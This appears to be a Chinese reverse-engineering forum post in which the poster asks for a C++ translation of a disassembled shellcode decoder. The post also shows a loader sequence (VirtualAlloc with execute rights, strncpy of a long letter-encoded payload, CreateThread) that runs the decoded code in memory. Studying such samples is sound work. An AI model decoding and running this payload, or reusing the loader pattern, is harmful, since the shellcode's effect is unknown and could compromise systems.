解码部分:
00401010 >|$ 90 |NOP
00401011 |. 90 |NOP
00401012 |. 90 |NOP
00401013 |. 90 |NOP
00401014 |. D9EE |FLDZ
00401016 |. D97424 F4 |FSTENV (28-BYTE) PTR SS:[ESP-C]
0040101A |. 5E |POP ESI
0040101B |. 83C6 20 |ADD ESI,20
0040101E |. 56 |PUSH ESI
0040101F |. 5F |POP EDI
00401020 |. 33C9 |XOR ECX,ECX
00401022 |. 66:3F |AAS
00401024 |. 0266 AD |ADD AH,BYTE PTR DS:[ESI-53]
00401027 |. 66:2D 6161 ||SUB AX,6161
0040102B |. C0E0 04 ||SHL AL,4
0040102E |. 02C4 ||ADD AL,AH
00401030 |. AA ||STOS BYTE PTR ES:[EDI]
00401031 |.^ E2 F2 |\LOOPD SHORT Example.00401025
数据部分:
[CONFIG]
RR(`KERNEL32.DLL',`VirtualAlloc',`UUUU')
RR(`msvcrt.dll',`strncpy',`USU')
RR(`KERNEL32.DLL',`CreateThread',`UUUUUS')
VirtualAlloc(0x0DC20000, 0x1000, 0x3000, 0x40)
strncpy(0x0DC20000, "悙悙兕賢$鬪兤 V_3蒮?f璮-aa类莫怛gekbdaaaaaaaileaamilhabmknilhaaiojdeacaaaafiibomaaacaaaailpmijhhaiijehbapphhaigiomjhadamoimeabaaaaijehbmpphhaigipgccljhmoileabaaaaijehcapphhaigikfbhaahmoikeabaaaaijehcepphhaigipljhpnapoijeabaaaaijehcipphhaigibggfpkbaoiieabaaaaijehcmpphhaigibphjakoioiheabaaaaijehdapphhaigicflappmcoigeabaaaaijehdepphhaigikmainkhgoifeabaaaaijehdipphhaigijipoikaooieeabaaaaijehdmpphhaigiheijomjjoideabaaaaijeheapphhaigihoniochdoiceabaaaaijeheepphhaigiknjlhnnpoibeabaaaaijeheipphhbappfhdeddpgeginehgafafgppfheiidpipphepcdnaabaaaaahgolijehaeijhhgapphhaegkeappfhbmijehfmgkaagkaagkaapphhgappfhdiidpippheelgkaainfphafdpphhaepphhfmpphhgappfhcmilephaidojbailehfmeaibdififififihfajibhiaefjfjfjfjheaeocomolbkidmaaiijehbeeaibdifjfjfjfjhfajibhiaefifififiheaoocompphhfmppfhcaapifhcppppppidmaaiijehbigkaagiiaaaaaaagkacgkaagkaagiaaaaaaeapphhbappfhceijehgemhehgmenfkjaaagkaainfphafdgkaeinfpgmfdpphhgeppfhdailehbiclehbeidoiaiilfpbedaadedeiidpiaahfphgkaainfphafdilfpbiclfpbeidolaifdpphhbepphhgeppfhdapphhgeppfhcigkaapphhbappfhdmgkaappfheeffilomfhilhnaiilfnamfgilhddmilhebohiadpdfgilhgcaadpdddmjejebknadmdfgddpgaplobadkpcheaimbmoanadpceaolpbdlpofohfoffkilolilfkceadnnggilamelilfkbmadnnilaeiladmffofpfnmcaiaaoimhpnppppgddkfmgbcogfhigfaa烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫",1558 )
CreateThread(0,0,0x0DC20000,0,0,`nnnn')
解码部分的ASM的确看不懂,哪位好心的能人,能用C++翻译下?成功解密下面的代码
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)